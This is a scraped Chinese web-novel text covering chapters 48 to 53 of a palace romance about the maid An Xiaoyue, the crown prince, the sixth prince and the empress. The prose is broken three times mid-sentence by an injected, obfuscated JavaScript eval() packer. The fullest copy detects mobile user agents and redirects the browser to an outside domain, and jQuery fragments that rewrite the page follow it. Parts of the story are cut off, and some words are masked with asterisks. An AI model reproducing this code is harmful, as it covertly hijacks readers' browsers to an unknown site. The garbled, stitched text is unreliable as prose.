“不行,真的很疼,动不了了。”安小月抱得更紧了,很不想他把自己放下去。 又怕自己抓不住掉了,努力的往上直起身子,全然不顾萧衍此刻的感受。 他只能感觉到面颊上极其柔软的触感和扑过来的香气,愣了会儿才后知后觉得想到这处是哪里。 萧衍脸色变得极其难看,呼吸越发急促。 这个贱婢……竟然这时候还想着勾引他! 感受着身体几乎是瞬间爆发出来的异样,萧衍终于忍无可忍,“下来。” 他口吻冷硬,动作却带着几分小心,把人放到地上没有立即松手,等站稳了才试探着松开。 随后就是往后退了一大步,看着安小月像是在看勾人心魂的妖女。 第48章 交易 安小月弱柳扶风般撑着香桌,等那股痛散去才长长舒了口气,抬眼便看到狗太子死死盯着自己。 她冷静下来,理智全回。 不由得为自己刚才试图用秘密拿捏他而感到羞恼。 看到狗太子独自来寻自己,想必是不想把事情闹大,她又有些得意忘形了。 这会儿看着他的黑脸,只觉得小命不保。 安小月小心觑着他的神色,轻声道,“殿下,奴婢真的没有偷三公主的玉钗,这其中必然有人使坏。” 萧衍漫不经心道,“孤若是不知,就不会来这里了。” “什么?” 安小月猛地一动,下身又疼开了,龇牙咧嘴地僵住不动,又呼着气追问,“那殿下为何要……” 任由三公主责罚自己,还放任六皇子将她带走。 安小月想着想着就来了气,被萧衍轻飘飘扫了眼,又蔫巴了。 萧衍不满,“你是没偷东西,但也是你自己得罪了人才会有人加害,自己不警惕,还怪孤不帮你说话?” 安小月委屈撅嘴,“奴婢一直小心谨慎,从不与人交恶,别人欲加之罪,何患无辞?” “再者,奴婢是太子府上的人,奴婢被冤枉,殿下难道要任由别人骑到头上作威作福吗?” “激将法对孤没用。”萧衍似笑非笑。 “自己的仇自己去报,孤没时间帮你做事。” 他说罢大步往门外走,行至一半后突然顿住,微微侧头。 “如今六弟派人大范围搜查,很快就会找到这里,你若是不想死的太难看,尽早做出应对才是。” 安小月心头一跳,听这意思,他是不打算管她了! 忍着肉疼追了两步,气喘吁吁道,“奴婢是皇后娘娘派来伺候殿下的人,殿下当真要把奴婢送给旁人?” 萧衍哼笑,头也没回。 “有何不好?你若真不想走,自己想办法回来,从今之后孤只会高看你一眼。” 安小月咬咬牙,她要他的高看有什么用! 忽地一愣,心里来了主意。 她略微提高音量,“殿下一言九鼎,可要说话算话,若是奴婢真回了太子府,殿下要答应奴婢一个要求!” 回答她的却只有萧衍突然加快的脚步。 良久,他的声音才顺着风传过来,“等你真回了太子府再说。” “好,一言为定!” 安小月眼睛闪烁着胸有成竹的亮光。 六皇子或许不怕狗太子,但有个人一定能治得住他。 但当务之急还是得先回到六皇子身边,才能进行下一步。 她拧眉沉思,片刻后扶着墙,缓慢又艰难的向偏殿挪动。 只是还没走远,就看到一大片火光朝自己这边围拢过来。 带头的便是六皇子的贴身侍卫,举着火光往她脸上一照,侧头询问旁边的老嬷嬷。 安小月用袖子挡住刺眼的火光,忙问,“这位大哥,你们可是六皇子的人?我是六皇子院子里的,不小心迷了路,劳烦诸位帮忙送我回去。” “就是她!” “你不是被人掳走,而是自己迷路?” 安小月虚弱道,“这其中太过曲折,我自会向六皇子解释。” 众人一想也是,找到人任务便是完成了,叫了个精壮婆子把她抱起,急匆匆回了六皇子别院。 已经有人提前回来报信,说是人找到了。 萧泽又惊又怒,黑着脸从床头取下皮鞭,杀气腾腾地站在廊下等人回来。 安小月半路上右眼狂跳,心头总觉不安。 直到看见想吃人一样的六皇子就什么都懂了。 她吞了吞口水,示意婆子把她放下,忍着刺骨的疼痛向萧泽行礼。 “奴婢给殿下请安,还请殿下屏退众人,奴婢有要事要问。” 萧泽咬牙切齿,“贱婢,居然敢逃!” 安小月直接道,“奴婢不想逃,奴婢只是思念家人而已,又想到殿下那日所言,想出去自己找找,只是找遍了隔院都没看到,还是说……殿下在骗奴婢?” 她说着眼眶通红抬头,神情委屈,不知情的还以为六皇子对她骗心又骗身似的。 萧泽捏着皮鞭看呆了。 下意识解释,“我没有,我只是……” 他猛地闭了嘴,眼底浮出一抹惊艳。 果然是连太子哥哥都抗拒不了的女人,的确有几分不同常人的魅力! 看着她委屈巴巴地控诉自己,他是真心疼了。 萧泽轻咳一声,将鞭子扔给侍从,大步下了台阶。 “本皇子怎么可能骗人?他们本就不在这处,方才本皇子以为你被人掳走,已经让人送他们回去了。” 他说惯了谎话,这时候脸色平平。 见她露出失望之色,忙道,“若是你乖乖留下伺候本皇子,再想见家人也不是没可能,前提是……” 他暧昧一笑,意思不言而喻。 安小月忍着恶心连忙点头。 “奴婢既然已经进了六皇子院里,就是这里的奴婢,自当会好好伺候殿下。” 萧泽以为她没听懂,皱眉。 “本皇子让你来可不是来当奴婢的,你若是机灵点,就该知道怎么做对自己最好。” 他俯身抓着安小月的肩膀拉起来,正要靠近,就见她眼睛一翻,居然晕了。 老太监忙道,“殿下,这婢子身上有伤,又丢了大半日,想必又累又饿,怕是饿晕了吧?” 萧泽遗憾美事错失,不耐烦道,“叫女医来看,就让她住在本皇子旁边,派人守着。” “诺。” 随着安小月被抬进西厢房治疗,又来了六个小太监把西厢房团团围住,除了院里的熟面孔,任何人不准靠近。 第三日的送神仪式结束之后,为期三日的祭祀大典终于进入尾声。 一行人打道回府,太子仪仗在前,其余紧跟其后。 安小月因为伤没好全,坐在六皇子马车后的一顶小轿子里,来时还是太子府的人,回去就变了阵营。 饶是她确定自己还会回去都不由得心生感慨。 让人意外的是,六皇子没让她跟着回宫,而是把她安顿在一座精致私宅,并派了侍卫把守。 安小月也没想过再逃,安心呆着养伤。 又过了两日,她能下地走动了,便迫不及待的打算开始自己的计划。 安小月找到了把守侍卫头子,给他手里塞了一锭碎银。 “侍卫大哥,我出行不便,可否帮我给六皇子送个信,就说,就说我病已好全,亲自做了家常小菜,请殿下来这里一见。” 侍卫知道她身份特殊,又收了礼,乐呵地递了消息进去。 第49章 关窍 见侍卫没拖后腿,安小月竟真的洗手进了厨房。 与此同时,暗中派人盯着此处的萧衍率先接到了消息。 苏德不知太子与安小月的交易,闻言愤愤不平。 “自从这奸生女进了太子府,殿下虽没有上当真宠了她,可也没有太过苛责,这贱婢竟另寻了主人,还如此,如此!” 苏德说不出口,只暗下决心,再也不会让这贱婢回来祸害太子殿下。 萧衍四平八稳地坐在高台,略一沉思就想通了其中关窍。 停笔问苏德,“今日是月末?孤记得每月月末六弟都会去皇后宫中用饭?” “殿下没记错,六皇子每月雷打不动会去三回,月末正是其中一次。” “怪不得。” 萧衍勾唇笑笑,想到什么,凉飕飕瞥了苏德一眼。 “孤记得教过你‘君子不蔽人之美,不言人之恶’,若是孤让他们都叫你没根的东西,你当如何自处?” 苏德讪讪缩脖子,“奴才一时失言,再不会了。” “去把她房里那个丫头带过来,孤有话要问。” 苏德想到是谁,立刻出去了。 再说那头接到消息的萧泽,美得几欲飘然,顿时心不在焉起来,恨不得立刻飞奔过去。 皇后亲自给他夹了菜,见他神情恍惚,唤也唤不醒,递给身旁老嬷嬷一个眼神。 后者快步出门,皇后这才不轻不重放下筷子,轻拍儿子手背。 “泽儿可是遇到了什么难事?说出来,母后帮你解决。” 萧泽回神,心里顿时一惊。 急忙放下筷子解释,“没事,儿子只是没睡好,这才心神恍惚,等陪母后吃完饭,不如儿子就先回去吧。” 皇后眼眸闪烁,轻笑,“也好,你年轻,更应当注意身体才是,来,多吃点。” 皇后又夹了几道菜给他。 萧泽担心她看出端倪,又想哄她开心转移视线,因此格外捧场,卖力耍宝逗皇后笑。 不多会儿,出去的老嬷嬷回来了,脸色难看不已。 皇后顿生凝重,唤来貌美宫女伺候儿子,带着嬷嬷进了暖阁。 “何事?” “娘娘,六殿下竟然把那安姓女子从太子殿下手上夺了过来,已经将人安顿在宫外私宅,这般魂不守舍,就是那贱婢让人送消息想请殿下过去一叙!” “当真?”皇后眼神瞬间凌厉。 “绝对错不了,只是那贱婢断然想不到殿下孝顺,每月月末都会来陪娘娘用膳,要不然等传出来就太迟了。” 皇后淬了冰的凤眸微微眯起,又气又失望。 “把人都赶出去,本宫有话要对六皇子说。” 老嬷嬷知道娘娘彻底怒了,急忙清人,又亲自在门口守着,生怕被外人听到其中隐私。 萧泽不明所以,还主动去找了皇后问出了什么事。 “你还有脸问本宫!” 皇后猛地把桌上茶盏挥落,“本宫问你,你是不是把安小月藏到你私宅去了?你怕是色欲熏心,真疯了不成!” 萧泽脸色大变,矢口否认。 “皇额娘,儿子没有做这种事!” “还敢骗我!”皇后气的连仪态都顾不上主意,恨铁不成钢。 “这半年我暗中搜罗了多少人,费尽心思才找到这么一个合适的棋子送到太子身边,她是用来试探太子的最好人选,你居然会蠢到把人抢回来!” “一个下贱坯子,亲娘被奸污才生下的奴才,也值得你费心思把人抢到手?” 萧泽猜到母后已经知道了所有事情,也就破罐子破摔了。 “但这么久了太子哥哥都没有收用,就说明这个女人对他来说没用,儿子喜欢,抢到手有什么错?” “母后不是一直跟儿子说只要是儿子想要的都会弄来吗?现在只是个女人,母后就这般训斥儿子,那这个女人儿子要定了!” “你……混账!” 皇后被他这番话气得头晕目眩。 “我看你是好日子过多了!太子这半年是沉寂下来了,但你别忘了他十几岁就带兵杀敌,立下的功业你便是拍马也不及,你若是真想要那个位置,不是靠抢就行!” 皇后喘了口气,语重心长道,“你必须要让你父皇觉得你比太子更配得到那个位置,再有母后在一旁推波助澜,何愁拿不到手?” “现在只是个女人就值得你费尽心思,万一惹了他起疑心,那咱们之前做的不都是白费力气?” 萧泽之前就从老太监那里听说过诸如此类的劝告,因此并不放在心上。 又像之前那样笑眯眯的去哄皇后开心。 “母后放心,不如这个就给儿子吧,母后这么厉害,再给他找个别的就是。” “你真觉得人是这么好找的?本宫送进去的人没有五十也有四九,只有她留下来的时候最长。” 也是唯一一个和太子有过身体接触的人。 皇后烦扰不堪,头疼道,“你若是还听母后的话,明日就把人送到太子府,本宫不管你是真心喜欢还是故意和太子作对,总之这个女子绝对不能留下。” 萧泽不服,猛地站起来想要再辩,就见一直宠爱他的母后面无表情地看了过来。 “若是大业终成,她还活着,本宫亲自把她接过来送你,你若是不乖乖听话,还不如本宫现在就毒死她!” 萧泽做了这么多,甚至没有一亲美人芳泽,哪能甘心人就这么死了。 又被母后的反应震慑到,不情不愿地低下了头。 “儿子明白,今晚就送她回太子府,只希望母后别忘了对儿子的承诺。” 皇后心头又涌起一阵失望,故作不悦的先答应下来。 “本宫派人送你回去,只有亲自看着你把人送进太子府,本宫才能放心。” 萧泽咬牙应了下来。 “儿子明白。” 为保稳妥,皇后特意派了自己的心腹跟着,还派人信任的侍卫带刀前往。 萧泽一看这架势,想趁机做乱是不可能了,黑着脸去了私宅。 安小月做好饭菜久久等不到六皇子过来,身上又疼,就先躺回去睡了一觉。 再次醒来是被屋外的吵闹声吵醒的。 萧泽非要先自己进来和安小月说话,才允许其他人把她带走。 可老嬷嬷担心六皇子又被这妖女蛊惑,说什么都不肯,这才吵了起来。 安小月拉开一点房门,怯怯喊了句,“殿下。” 第50章 里应外合之人 萧泽被这一声娇柔呼唤美的通体舒泰,急匆匆走到门口就想拉她的手。 安小月却面露恐慌的往他身后一躲,目光紧紧盯着院里的人。 萧泽一看,不满呵斥,“本皇子已经答应了母后就一定会把人送走,你们大可不必像看贼一样看着本皇子。” 他说完推搡着安小月进了屋,飞快把门插上。 又急忙去解腰带,“美人,母后知道我把你藏起来了,很是生气,非说要毒死你不可,但本皇子心疼美人,只好忍痛割爱把你再送回太子府……” “但你放心,等时机合适本皇子一定会接你出来,快,先让本皇子爽一下!” 他解了自己的腰带就去解安小月的,着实把后者吓了一跳。 安小月急忙握住他的手,“殿下说的可是真的,但是殿下不是说还要带奴婢去见奴婢的家人吗?难道是殿下骗我?” 她连声质问,萧泽只感觉自己被误会了,顾不上想其他就要解释。 但安小月却冷脸甩开他的手,面露失望。 “本以为殿下待我不同,原来也是哄骗,早知如此,奴婢还不如当天被打死算了,省得又被抛弃!” 她以手掩面,做出伤心欲绝的姿态。 “殿下既然知道奴婢被送进太子府的目的,又何必为了一时爽快让奴婢送命?” “奴婢这就回太子府,若是有缘咱们再……” 她哽咽一声,听得萧泽心乱如麻,已经忘了自己闯进来是想做什么,抓着她就要替自己分辨。 然而安小月正在伤心关头,甩开他就跑了出去。 “等等,你听我解释,我真的……” 萧泽想追,又被皇后派来的侍卫眼疾手快的拦住,眼睁睁看着心爱的女子被老嬷嬷带上马车绝尘而去。 他一时怔怔站在原地,心里竟有种心爱宝物被人生生剜走的痛苦之感。 又想到分别时她的欲言又止,恨不得抢过刀去和萧衍战上一次。 只可惜有侍卫守着,想追出门都不行。 而那头终于脱离魔爪的安小月却动都不敢动,只因为那老嬷嬷从她一上马车就虎视眈眈地盯着。 她避开不对视,却被老嬷嬷狠狠掐了几把。 “让你引诱太子,你居然把主意打到六皇子头上,真以为娘娘非你不可吗?” “原定了一个月时间,现在减半,若是还是成不了事,那你娘只能去青楼妓院寻你了!” 安小月大惊失色。 先前还是用性命威胁,现在却想把她送进那种虎狼窝。 不用想都知道因何缘故。 她急忙哀求,“回嬷嬷的话,奴婢知道自己肩负重任,早在第一日就跟六皇子坦白解释过,实在不是奴婢不愿意!” “嬷嬷自可去查,若不是这次奴婢被人诬陷偷了三公主的东西,也不会有六殿下施救一说!” 老嬷嬷不知道这里面还有这种事情,暗自记在心上,对着安小月却还是没什么好脸色。 她面色阴冷的从怀里掏出一个瓷瓶递了过去。 “你若是想让娘娘看到你的真心,就自己把药吃了,我实话告诉你这是媚药,药效强劲,除非与男人欢好,否则无解。” 她又往安小月那边推了推。 “是一月还是半月,全看你心诚不诚了。” 安小月很快便有了决定,毅然决然地接过瓷瓶,从里面倒出两粒药丸塞进嘴里, 她主动张开嘴让嬷嬷检查,确认没有藏药,嬷嬷神色终于缓和了些。 “想必你娘娘知道你的真心也会暗中助你一臂之力,你只管去做你应做的事,其余不用管了。” 安小月急忙爬起来给嬷嬷磕了个头。 “多谢娘娘,多谢嬷嬷。” 狗太子不帮她报仇,她地位低贱,又接触不到三公主那样的贵人。 反倒是皇后娘娘最为合适。 安小月这一招不仅让自己脱了困,还让皇后主动把这事接了过去,早已经心满意足。 只是这药到底该如何解开呢…… 她神色凝重,若是用与狗太子的交易让他帮忙,也不知道这厮肯不肯。 在胡思乱想中把车停到了太子府后门。 老嬷嬷亲自下去敲门,但门房不敢私自放人进来,连忙去请苏公公。 又等了许久才见苏德慢悠悠的朝这边过来。 老嬷嬷笑道,“苏公公,真是许久不见了,我今日过来是归还府上的婢女来了。” 苏德笑盈盈地听着老嬷嬷满口胡诌。 “那日这婢子被三公主行刑正巧被六殿下碰上,殿下心怀慈悲就救了这婢子,后来一问才知道是太子府上的,这不,殿下留下她把伤养好,这才耽搁了些时日。” 她又推了下安小月,“还不快进去,之后手脚干净些,省得还要连累旁人。” 老嬷嬷看到苏德张嘴,似乎是怕被拒绝,忙不迭的转身上了马车。 “人送到了,我也该回去了。” 徒留下安小月和苏德面面相觑。 半晌,苏德意有所指地感慨道,“安姑娘可真是好本事,居然能毫发无伤的从六皇子手下脱困,有这等本事,想必在哪里都会过得很好。” 安小月假装没有听出他话里的讽刺。 笑道,“辛苦苏公公来走一趟了,只是奴婢还有些要紧是要跟殿下说,能否先让奴婢进去?” 苏德很不想,但想到出门前殿下的交代,闷闷不乐地把路让开。 两人回了玉庆宫。 刚进了院子,安小月就听到一阵熟悉的板子打肉的声音传来。 下意识朝旁边看了过去,又听到苏德语气轻飘的解释道,“安姑娘认不出这是谁吗?” 安小月一顿,一个诡异的念头冒出来。 “她是……青莲?” “正是。”苏德笑眯眯的,“殿下赏了她五十个板子,现在只打了十个,也不知道她受不受得住。” 安小月想冲过去阻拦,脚步一顿,又急忙跑进了大殿。 萧衍漫不经心地看了过来,“你若是想替她求饶,那就不用开口了,这贱婢有了二心,孤绝不容许这种人在孤府上。” “可是,可是青莲她……” 这件事虽然还没有查清,但安小月很坚定的认为青莲不是那个里应外合的人。 她想也不想跪了下来,“殿下先前曾说过若是奴婢有本事回了太子府,殿下就答应奴婢一个要求,殿下可还记得?” 萧衍目光在她身上停了片刻,眉头微微皱起,忽然问,“你来之前照过镜子没有?” 第51章 背后策划之人是他 安小月下意识摸了摸脸,神色迷茫,刚要说话,一声不受控制的呻吟自喉间溢出。 在安静的大殿中异常清晰。 萧衍眼神复杂地坐直,瞥了眼苏德,后者急忙将其余人全部赶出玉庆宫。 “殿下开恩。”安小月用力掐了自己一把保持清醒,额头抵在冰冷的地面。 “奴婢怀疑这件事另有蹊跷,还请殿下宽恕些日子让奴婢查清楚,一定会给殿下一个交代。” 她声音颤抖的不成样子,每说完几个字就要顿一下,一句话说完,早已经出了一身的汗。 萧衍缓慢踱步到她不远处停下,微微皱眉,“六弟给你下了药?” 安小月单薄的身体不住地颤抖,没有回答。 虽然关于那件事两人都心知肚明,可到底还没挑破,只能甩锅到六皇子身上。 果然,萧衍信了。 他意味不明地哼了声,“如此难得的机会,你就甘心拱手送人?” 安小月没有抬头。 “回殿下,奴婢,奴婢受青莲照顾颇多,即便真的是她,她定然也有难言之隐,她对奴婢好,奴婢救她一命,也算是了了。” “你倒是大度。” 萧衍语气带着一股讽刺,冷笑一声。 看来她对他也并非如此情深。 又隐约觉得意外,虽她提出要求他不会答应,可她居然没提,心里竟会觉得莫名不悦。 难道他还没个婢女重要? 萧衍声音冷得像冰,“罢了,你自己选的,孤满足你。” “苏德,把人放了。” 门外的板子声立刻停了,安小月松了口气,紧绷的肩膀一松,人也软软地趴到了地上。 这药效果然强劲,她只能紧紧抠住手心,又咬紧唇瓣,防止自己做出更丢人的事。 蜷缩着缓了许久,她艰难地爬起来。 “殿下,奴婢告……退。” 说罢转身便要离开,只是脚步踉跄,不是腿软差点摔倒,就是摇摇晃晃快要撞墙。 萧衍冷眼看着她费力前行,想知道她能到底坚持多久。 终于到了门口,安小月眼前一阵阵发黑,抓住门框喘息一下,正要开门,身后传来狗太子慢悠悠的声音。 “孤让你走了吗?” 安小月心头一紧,“殿下,拦住奴婢……难道是想帮奴婢解药?只是……奴婢的要求已经换了别的事,实在无颜要求更多。” “你想多了。” 萧衍缓步上前,还没靠近就闻见她身上和老六身上一样的熏香,脸色即刻黑了。 他忍不住咬了咬牙,若不是王四时刻跟着,还要以为她和老六真有了什么。 一股邪气上涌,萧衍攥住她的手腕拉开殿门,直接将人甩了出去。 “苏德,孤看她是烧蠢了,把她扔进华清浴好好洗洗,身上的味道熏的孤脑袋疼!” “哎呦,殿下,奴才这就叫太医来!” 苏德抓错了重点,急忙吩咐小太监去跑一趟。 萧衍张嘴便要骂,又瞥到旁边的人,拧眉道,“叫个女医过来。” “诺。” 苏德唤来两个粗使婆子将安小月扛起来往华清浴走,又想起来她身上有伤,扔到水里万一又病倒可该如何是好。 百般纠结之际,看到了匆匆而来的王嬷嬷,急忙把人叫住。 “你来的刚好,殿下赐了安姑娘汤浴,只是她身上有伤,不见得能下水,你跟过去照料一二最好。” “可是……”王嬷嬷神色为难,“公公,不瞒你说,我是为了青莲那丫头来的,那孩子……” “不必多说。”苏德抬手制止。 “安姑娘方才已经求了殿下,青莲只挨了十多个板子,死不了,眼下最要紧的事不是这件。” 华清浴只许太子一人享用,能让殿下主动赏赐,还派了女医过来,意义非同小可。 王嬷嬷眼神复杂,叹了口气。 “是,我知道该怎么做了。” 王嬷嬷随着粗使婆子去了华清浴,正巧女医也来了,一番检查之后确定伤口无碍,泡药浴还有助于减轻疼痛,这才放心。 “这药性极烈,若是不与男子欢好,就只能忍过去,我开副药方,虽不能治根,但也能减轻痛苦。” 女医写了药方递过来,王嬷嬷主动接了,承下煎药这活。 一个较小的浴池里撒了药粉,既可化淤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安小月静静地躺到床上,胸口闷得发疼,眼睛却干涩的流不出来眼泪。 她着实想不通自己哪里做错了,怎么会是青莲。 到底要做到哪种地步才算对一个人好? 原来被在乎的人背叛会是这种滋味,意识恍恍惚惚之时,又忽然想到了狗太子。 他口口声声说自己最讨厌被人背叛,会不会背后策划这一切的人是他? 安小月猛地惊醒,瞪着窗外的冷月睡意全无。 第52章 掌嘴 原以为青莲会在太子府上养上几日才会被送走,哪知道翌日一早便看到王嬷嬷愁眉苦脸地回来了。 安小月心里清楚王嬷嬷和青莲比较亲近,不想再掺和这事,只看了一眼就收回眼神。 可王嬷嬷却凑了过来。 “姑娘,青莲有东西托我转交给你。” 她从怀里取出荷包,掏出两锭白银放到床边。 “青莲说这是你给她的二十两,还说她一时糊涂做错了事害你受伤,实在没有颜面再拿这些,托我转交给你。” 安小月盯着银子没有说话,许久之后忍不住问,“那她用什么买药吃?” “姑娘放心,青莲的爹娘在外头做些小买卖,手上有些小钱,再说出了这种事情她是不能在东宫继续待下去了,苏公公昨夜就报了内务府,等契约解除之后就能回去了。” 安小月沉默片刻,轻轻点头表示自己知道了。 王嬷嬷话却突然多了起来。 “姑娘是不是觉得我偏心青莲?我和她相处时日较长,会心疼也在情理之中,更何况……” 她顿了顿,“以往像这种事情,做错事的宫女都会被内务府处置,通常不得善终,青莲能有命回家,都亏了姑娘,姑娘既然能求得殿下宽容,那就说明好日子还在后头,没必要为个丫头绊住。” “她待我也好,我只是回报罢了。” 安小月现在提起青莲心里还是会感觉闷疼,不想继续这个话题,又打听狗太子在做什么。 “殿下一早就出门了,我去问过苏公公,他说殿下并没有安排姑娘要做什么,姑娘不如安心养着吧,倒是有另外一件事……” 王嬷嬷警惕地看了看四周,低声道,“今早上宫里传来消息,说是三公主的贴身嬷嬷失足落水被淹**!” 安小月眉心一跳,一股寒意从脚底窜上天灵盖。 眼中闪过走马灯一般的片段,却抓不住最关键的那点。 她昨夜刚和送她回来的老嬷嬷说了自己被陷害的事,今天一早三公主的人就**…… 怎么会如此之巧! 知道她被陷害的人只有两个,一个是狗太子,另一个就是皇后。 安小月不知为何,莫名其妙就认定这件事是皇后派人做的。 如果是三公主和六皇子联手设局,才导致六皇子有英雄救美的机会,那么皇后杀一儆百也不无可能。 反而狗太子一点动机都没有。 她手里出了汗,思绪连不起来,只盯着一处发呆。 王嬷嬷其实是故意试探,见她神情惴惴,就知道她也被吓到了,眼神闪烁之后又换了话风。 “姑娘别怕,不会有人怀疑是你,三公主身边的老嬷嬷向来狗仗人势为非作歹,**也是造福一方的好事,况且,这深宫的鬼从来不止一个。” 再有殿下保驾护航,还会怕个公主吗? 安小月这两日情绪起伏太大,昨夜又没睡好,被吓了一跳之后就感觉头疼欲裂。 “王嬷嬷,我突然感觉有点累,想睡一会儿,不能陪嬷嬷说话了,等我醒来咱们再说。” “行,那我就不打扰姑娘了。” 王嬷嬷要做的几件事都圆满完成,很是痛快的离开了。 安小月很累很困,可一闭上眼就能想到那天被带走时那老嬷嬷凶狠的嘴脸。 一会儿就又变成那嬷嬷死时痛苦挣扎的表情。 这一觉,竟又把旧疾带了出来。 等王嬷嬷取了晚饭回来,才发现安小月又发热了。 苏德陪太子殿下出门办事,没有人做主,王嬷嬷也不敢私自请大夫过来,只能还按照以前的药方煎了药。 好在对症,一副药下去就退了热。 萧衍风尘仆仆回来,刚进门就收到安小月又病了的消息,烦躁地摔了茶盏。 “怎的三天两头病,昨夜不是说已经全好了吗?” 苏德跟他一样一头雾水,忙道,“奴才这就让人去叫王嬷嬷过来,如今她独自照顾安姑娘,一定很清楚。” 萧衍皱了皱眉,却没有阻止。 苏德这才确定殿下是真的想弄清楚发生了什么事,吩咐小太监叫王嬷嬷过来回话。 很快人就来了。 “老奴给殿下请安。” 萧衍眼神淡漠,居高临下地盯着跪在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随即便是急促的呼吸,还有含糊不清的说话声,只能听出来“饶了她”这三个字。 他负手立在床边,脸色微变。 她会不会已经猜出来是他派人处理了那老嬷嬷? 所以才会吓成这样,就连梦中都睡不安稳,她求饶的人……会是他吗? 萧衍忍不住啧了一声。 “有胆子跟孤谈条件,还有本事从老六那里全身而退,竟然会被一个**吓到。” 他摇摇头,好似很看不上这般胆小的她。 就在这时,一直双眸紧闭的安小月猛地睁开眼,眼底带着浓浓的恐惧和不安。 萧衍握紧拳头,不自觉往后退了一步。 忽然想到什么似的,又立即站在原地不动了。 他咬牙切齿道,“你一直醒着为何不睁眼?想吓唬孤是不是?” 安小月听到声音,眼底才重新有了光亮。 “殿下。” 她的声音已经彻底哑了,挣扎着要起身,被萧衍一只手按了回去。 “躺着吧,孤免你一次请安。” 安小月又不是傻子,自然也不想起来,一声不吭地躺了回去。 “殿下来这里有事?” “孤听说你被个**吓病了,没见过,过来看看新鲜。” 安小月听了不免又想起来梦里梦到的那张浮肿青白的脸,紧紧贴着自己让她还命来。 她脸色一白,肩膀抖了两下,默不作声缩了回去。 萧衍眯了眯眼,“你这是在害怕孤?” 他主动出手处理此人,一有想打压几个弟妹的心思,另外也有帮她报仇的意图。 可她却在害怕? 萧衍现在还不想让她知道是他做的,俯下身掐住她的脸颊,阴冷一笑。 “孤之前说了,你要是有办法自己回到太子府,孤就对你高看一眼,从明日起你就跟着苏德,贴身伺候孤。” 他屈起食指,暧昧的在她脸上磨蹭。 “说不定很快就不会害怕了。” 安小月发觉他处处忍让,也想再加一把火看他的原则会退到哪里,于是趁他要松手之际,一把握住他的手。 “殿下,奴不是怕您,奴刚才做噩梦了!” “奴梦到那个人掐着奴的脖子让奴还命,好在紧接着就听到殿下的声音了,殿下身上的浩然正气一下子就驱散了邪魔鬼怪,这才救了奴一命!” 安小月说着眼眶通红,眼角竟然挤出来一滴晶莹,挂在睫毛上要落不落。 她本就病了,身上的憔悴柔弱让人不禁心软,又被好一顿拍马屁,直接让萧衍听爽了。 他眉眼略微放松了些,又想到她以前做过的事,不免警惕起来。 “没有骗孤?” “奴怎么会骗殿下,殿下三番两次救奴于水深火热之中,现在还不计前嫌让奴跟着苏公公学习如何伺候,奴感激都来不及,怎么会骗殿下呢!” 萧衍突然觉得有点好笑。 他一开始说让她贴身照顾,其实是存了恶心她的意思,却不知这几分恶劣的心思到她那里就成了恩德。 不过也没什么错,雷霆雨露皆是君恩,她只能受着。 萧衍挑了挑眉,“孤已经接收到你的心意了,能放了孤吗?男女授受不亲。” 安小月抿唇轻笑,似乎是很难为情的松开他的手,又飞快的把胳膊缩回被子,仰着头眼巴巴地盯着他。 不过是几个眨眼间,萧衍就被她这副神态弄得很不自在。 她看着自己活像是看着救命恩人似的。 可她真的有如此乖顺? 萧衍微不可察地蹙了蹙眉,却没问出来。 “若是明日病好,明日就从一日三餐开始,之后再跟着孤出门,若是身子强健,兴许能少生点病。” 他嫌弃的看了眼她比自己小胳膊还细的大臂,背着手出了屋子。 安小月用被子挡住下半张脸,轻轻呼出一口气。 她算是发现了,不管是狗太子还是六皇子,其实都是吃软不吃硬的人。 她只不过是哄了两句,他们竟然全都信了。 虽然这其中不免有做戏的成分在,但至少说明他们吃这一套,那就好办多了。 安小月临睡前又喝了一碗药,加了安神的药材,一觉睡到了天亮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583249|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王嬷嬷知道她要负责殿下的一日三餐,提前把人叫醒,又跟着她去了小厨房帮忙。 病还没彻底好全,身上总觉得没劲,因此安小月没有做太复杂的饭菜,只做了几样简单开胃的,就让人端了上去。 她告别王嬷嬷,自己跟着苏公公进了大殿伺候。 苏德轻轻推了她一把,“安姑娘,殿下有令,今后若是你在就都是你给殿下布菜,还不快过去?” 这也在安小月的意料当中,她淡淡点头,接了差事。 萧衍每每早起总是会眉头紧皱,像是睡不够还被人吵醒了似的,伺候起来颇为有压力。 但安小月知道他的软肋在哪,倒没有那么害怕,比其他人多了几分淡定自若。 可就是这份淡定让萧衍不由得多看了她几眼。 安小月停了筷子,忙问,“殿下可是吃的不习惯?还是用够了?” 萧衍扯了扯嘴角,“孤只是发觉,原来真的有人是天生伺候别人的命。” 还说让她跟着苏德学习如何伺候,现在看来是多此一举了。 安小月心里直翻白眼,面上还要做出一副受宠若惊的样子。 “奴多谢殿下赏识,能伺候殿下是奴的福气。” “呵。” 萧衍没心情说话,随手指了道菜,又继续吃了起来。 半个时辰后,他终于换了出门的衣裳,又唤安小月跟上。 安小月快走两步追上苏德,小声问,“殿下平日出门都是骑马吗?那咱们怎么办?” 苏德瞥了她一眼,“好办,若是去的地方远,那就骑马,如若是近,两条腿走着也跟上了。” “走着?”安小月还没出门就感觉自己臀部火辣辣的疼了。 她脸颊不由得升起一抹红晕,“可是我的伤……大夫说了不能颠簸走太多。” 苏德笑眯眯道,“这咱可管不了,安姑娘不如追上去去问问殿下?” 她抬头看了眼大步流星的狗太子,犹豫片刻,咬着唇摇了摇头。 “还是算了,兴许习惯了就好了。” 她默默给自己鼓劲,发誓头一日一定不能让人看笑话,尤其是狗太子! 第54章 